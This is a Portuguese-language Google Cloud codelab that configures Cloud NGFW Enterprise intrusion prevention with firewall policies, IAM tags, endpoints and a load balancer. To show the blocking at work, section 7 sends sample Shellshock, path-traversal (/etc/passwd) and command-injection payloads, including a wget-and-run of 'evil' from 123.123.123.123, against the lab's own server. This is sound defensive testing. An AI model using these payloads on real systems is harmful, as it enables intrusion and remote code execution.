1. Introdução
Firewall de Próxima Geração do Cloud (NGFW)
O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.
O Cloud NGFW tem os seguintes benefícios:
- Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host totalmente distribuída com estado em cada carga de trabalho para ativar a arquitetura de segurança de confiança zero.
- Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall de rede e hierárquicas que podem ser anexadas a um nó da hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
- Controle granular e microssegmentação: a combinação de políticas de firewall e tags gerenciadas pelo Identity and Access Management (IAM) oferece controle preciso para o tráfego norte-sul e leste-oeste até uma única VM em organizações e redes de nuvem privada virtual (VPC).
O Cloud NGFW está disponível nos seguintes níveis:
- Cloud Next Generation Firewall Essentials
- Firewall de Próxima Geração do Cloud
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
O Cloud NGFW Enterprise adiciona o serviço de prevenção de intrusões (IPS, na sigla em inglês), um recurso da camada 7, ao tecido distribuído do Google Cloud Firewall. A inspeção TLS é compatível com a inspeção de tráfego criptografado por TLS, mas está fora do escopo deste codelab. Consulte Codelab Enterprise do Cloud NGFW com inspeção TLS.
Agora você pode implantar inspeções confiáveis de firewall de próxima geração (NGFW) da camada 7 com controles granulares, sem fazer mudanças na arquitetura de rede ou nas configurações de roteamento.
Para ativar e implantar o controle de firewall da camada 7 com IPS, você precisa realizar as seguintes tarefas:
- Crie um conjunto de endpoints de firewall zonais gerenciados pelo Google Cloud.
- Crie uma política de inspeção de TLS (não abordada neste codelab)
- Crie uma configuração de confiança (opcional, não abordada neste codelab)
- Associe esses endpoints às redes de nuvem privada virtual (VPC) em que você precisa do serviço Cloud NGFW Enterprise.
- Faça mudanças simples nas políticas e regras de firewall para especificar os perfis de prevenção de ameaças para os vários caminhos de tráfego.
Políticas de firewall de rede
A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas em nenhum lugar até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede oferecem suporte a tags controladas pelo IAM (ou apenas tags) em regras de firewall, que substituem as tags de rede atuais e podem ser usadas para fornecer identidade à carga de trabalho.
O compartilhamento de uma política de firewall de rede entre redes e a integração com as tags gerenciadas pelo IAM simplificam muito a configuração e o gerenciamento de firewalls.
Com a introdução da política de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:
- Política de firewall hierárquica
- Regras de firewall da VPC
- Política de firewall de rede ( global e regional)
As políticas de firewall hierárquicas são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall da rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall da VPC e as políticas de firewall de rede é que as regras de firewall da VPC podem ser aplicadas apenas a uma única rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.
Por fim, também temos as regras de firewall implícitas que vêm com todas as redes VPC:
- Uma regra de saída em que a ação é permitir, o destino é 0.0.0.0/0
- Uma regra de entrada com a ação negar, a origem é 0.0.0.0/0
Por padrão, a sequência de aplicação é mostrada no diagrama a seguir:
A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.
Tags gerenciadas pelo IAM
As novas tags integradas às regras da política de firewall de rede são recursos de par de chave-valor definidos na organização ou no nível do projeto da hierarquia de recursos do Google Cloud. Essa tag contém um controle de acesso do IAM, como o nome indica, que especifica quem pode fazer o quê na tag. Com as permissões do IAM, por exemplo, é possível especificar quais principais podem atribuir valores a tags e quais podem anexar tags a recursos. Depois que uma tag é aplicada a um recurso, as regras de firewall de rede podem usá-la para permitir e negar o tráfego.
As tags aderem ao modelo de recursos de herança do Google Cloud, o que significa que as tags e os respectivos valores são transmitidos na hierarquia a partir dos recursos pais. Como resultado, as tags podem ser criadas em um lugar e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para mais detalhes sobre tags e restrição de acesso.
Não confunda as tags com as tags de rede. As últimas são strings que podem ser adicionadas às instâncias do Compute Engine. Elas são associadas à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas, como não são consideradas recursos de nuvem, elas não estão sujeitas ao controle de acesso do IAM.
As tags e as tags governadas pelo IAM são usadas de forma intercambiável neste documento.
O que você vai criar
Este codelab exige um único projeto e a capacidade de criar uma rede VPC com conectividade pública. Ele demonstra como o Cloud NGFW Enterprise pode fornecer a funcionalidade de IPS:
- Como inspecionar fluxos intra-VPC/sub-rede [leste-oeste]
- Como inspecionar fluxos de entrada da Internet [Norte-Sul]
Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags. A Inspeção TLS não está incluída neste codelab.
A base de regras da política de firewall de rede será semelhante à tabela abaixo:
Prioridade | Direção | Destino | Origem | Destino | Ação | Tipo |
100 | Saída | Quarantine_Tag | Qualquer | Tudo | Negar | Essentials |
1000 | Entrada | Server_Tag | Intervalos de verificação de integridade | Qualquer | Permitir | Essentials |
2000 | Entrada | Qualquer | Intervalos do Identity-Aware Proxy | Qualquer | Permitir | Essentials |
3000 | Entrada | Qualquer | Geo, GCTI | Qualquer | Negar | Padrão |
4000 | Saída | Qualquer | Qualquer | Geo, GCTI | Negar | Padrão |
5000 | Saída | Qualquer | Qualquer | FQDNs de atualização do sistema | Permitir | Padrão |
6000 | Entrada | Server_Tag | 10.0.0.0/24 | Qualquer | IPS | Enterprise |
7.000 | Entrada | Server_Tag | CloudNAT_IP | Qualquer | IPS | Enterprise |
O que você vai aprender
- Como criar uma política de firewall de rede global
- Como criar e usar tags com a política de firewall de rede
- Como configurar e usar o serviço de prevenção de invasões do Cloud NGFW Enterprise
O que é necessário
- Projeto do Google Cloud
- Conhecimento sobre implantação de instâncias e configuração de componentes de rede
- Conhecimento sobre a configuração do firewall da VPC
2. Antes de começar
Criar/atualizar variáveis
Este codelab usa $variables para ajudar na implementação da configuração do gcloud no Cloud Shell.
No Cloud Shell, execute os comandos abaixo substituindo as informações entre colchetes conforme necessário (pule a definição do projeto se o desejado já estiver definido). Uma variável diferente é usada para recursos no nível da organização se vários endpoints de firewall forem necessários.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Ativar APIs
Ative as APIs, se ainda não tiver feito isso:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Criação de perfil de segurança e endpoint do Cloud NGFW Enterprise
Como a criação do endpoint do Cloud NGFW Enterprise leva cerca de 20 minutos, ele será criado primeiro, e a configuração básica poderá ser feita em paralelo enquanto o endpoint é criado.
Crie o perfil de segurança e o grupo de perfis de segurança:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Saída esperada:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Confirme se os recursos foram criados:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Saída esperada:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Crie o endpoint do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Execute o comando abaixo para confirmar que o endpoint está sendo criado (ESTADO: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato da saída pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Se quiser, execute o comando abaixo para conferir mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
O processo de criação do endpoint leva cerca de 20 minutos. Siga para a seção "Configuração básica" para criar os recursos necessários em paralelo.
5. Configuração básica
Siga para as seções a seguir se preferir criar os recursos básicos manualmente.
Rede e sub-rede VPC
Rede VPC e sub-rede
Crie a rede e a sub-rede VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crie os Cloud Routers e gateways do Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instâncias
Crie as instâncias do cliente e do servidor da Web:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tags no nível do projeto
Atribua as permissões tagAdmin e/ou tagUser ao usuário, se necessário:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Crie a chave e os valores da tag no nível do projeto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Vincule tags a instâncias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política de firewall de rede global
Criar uma política de firewall de rede global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Crie regras do Cloud Firewall Essential para negar o tráfego de instâncias em quarentena (criado apenas como exemplo, não usado neste codelab) e permitir o tráfego dos intervalos de verificação de integridade e proxy com reconhecimento de identidade:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Crie regras padrão do Cloud Firewall para negar o tráfego de entrada e saída de/para países em embargo, IPs maliciosos conhecidos e nós de saída da ToR. Permita apenas o tráfego de saída para FQDNs específicos para atualizações do sistema (criado apenas como exemplo, não usado neste codelab):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Crie regras de Cloud Firewall para permitir o tráfego de entrada leste-oeste / intra-sub-rede e norte-sul / Internet dos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Associe a política de firewall de rede à rede VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Balanceador de carga de rede TCP/UDP externo
Reserve um endereço IP externo e crie o grupo de instâncias e a verificação de integridade:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Crie o serviço de back-end e a regra de encaminhamento:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Associação de endpoint do Cloud NGFW Enterprise
Redefina as variáveis de ambiente, se necessário.
Confirme se a criação do endpoint do Cloud Firewall foi concluída. Só prossiga quando o estado aparecer como ACTIVE (durante a criação, o estado esperado é CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato da saída pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Se quiser, execute o comando abaixo para conferir mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Associe o endpoint do Cloud NGFW Enterprise à rede VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
O processo de associação leva cerca de 10 minutos. Só prossiga quando o estado aparecer como ATIVO (o estado esperado é CRIANDO durante o processo de criação):
gcloud network-security firewall-endpoint-associations list
Saída esperada:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Se quiser, execute o comando abaixo para conferir mais detalhes:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Saída esperada:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Regras de inspeção do Cloud NGFW Enterprise
Abra uma nova guia e inicie uma conexão SSH com a VM do cliente pelo IAP. Você vai precisar definir as variáveis novamente na nova guia:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Defina as variáveis necessárias na sessão SSH e defina os valores (verifique se os valores estão corretos):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Use o curl para confirmar se os dois IPs são acessíveis:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Resultado esperado para as duas solicitações do curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Envie ataques de exemplo para o IP do servidor interno (tráfego leste-oeste / intra-VPC). O servidor da Web precisa responder a todas as solicitações, confirmando que não há inspeção/prevenção L7 em vigor:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Reenvie os ataques de exemplo para o IP do servidor externo pelo Cloud NAT (tráfego de entrada norte-sul). Da mesma forma, o servidor da Web precisa responder a todas as solicitações:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Resultados esperados para IPs públicos e privados:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Volte ao Cloud Shell e atualize as regras de entrada para ativar a inspeção L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Opcionalmente, descreva as regras de firewall para verificar se elas foram atualizadas:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Saída esperada:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regra 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Saída esperada:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Volte para a VM cliente e reenvie os ataques de exemplo para o IP do servidor interno (inspeção East-West / Intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Reenvie os ataques de exemplo para o IP do servidor externo pelo Cloud NAT (inspeção de entrada Norte-Sul):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Nenhuma resposta é recebida para os primeiros ataques, de acordo com a saída esperada abaixo, confirmando que os ataques de alta gravidade estão sendo bloqueados.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Acesse "Segurança de rede > Ameaças" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes se os ataques ainda não estiverem aparecendo.
Escolha um dos ataques e clique em "Ver registro de auditoria" no lado direito (abra em uma nova guia para voltar facilmente). Abra o ataque para mostrar os detalhes:
Se preferir, substitua o filtro do Log Explorer pela consulta abaixo:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
As entradas de registro de ameaças vão aparecer conforme abaixo:
Os pacotes interceptados pelo Cloud Firewall podem ser verificados usando o filtro do Explorador de registros abaixo (útil para solução de problemas):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Continue para a inspeção de tráfego da Internet (opcional) ou feche a sessão SSH e avance para o próximo capítulo para as etapas de limpeza.
[Opcional] Inspeção de tráfego da Internet
Conforme verificado na seção anterior, os fluxos inspecionados até agora são intra-sub-rede/VPC (leste-oeste) e tráfego de entrada da Internet (entrada norte-sul). O Cloud NGFW Enterprise também pode ser configurado para inspecionar todo o tráfego da Internet (saída norte-sul) criando uma nova regra de saída usando o Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Volte para a VM do cliente e reenvie ataques de alta gravidade para o IP do servidor externo:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Saída esperada:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Mude para a guia "Threats" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes. Os ataques foram identificados e registrados novamente, mas agora o IP de origem é interno porque uma regra de saída está sendo acionada primeiro:
Feche a sessão SSH e siga para a próxima seção para conferir as etapas de limpeza.
8. Etapas de limpeza
Limpeza de componentes do Cloud NGFW Enterprise
Liste as associações atuais do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Exclua a associação do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Liste os endpoints do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Exclua o endpoint do Cloud NGFW Enterprise, o que pode levar cerca de 20 minutos:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Confirme se o Cloud NGFW Enterprise foi excluído executando o comando abaixo:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Excluir o grupo de perfis de segurança e o perfil de prevenção de ameaças:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Limpeza da configuração básica
Siga para a próxima etapa se preferir excluir os recursos básicos.
Defina as variáveis de ambiente, se necessário. No Cloud Shell, exclua os componentes do balanceador de carga de rede:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Remova instâncias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Se as funções "tagAdmin" e "tagUsers" foram alteradas, siga as etapas abaixo:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Remover chave e valores da tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Exclua a política de rede e a associação do Cloud Firewall:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Excluir o Cloud Router e o Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Exclua endereços IP reservados:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Por fim, exclua a sub-rede e a rede VPC:
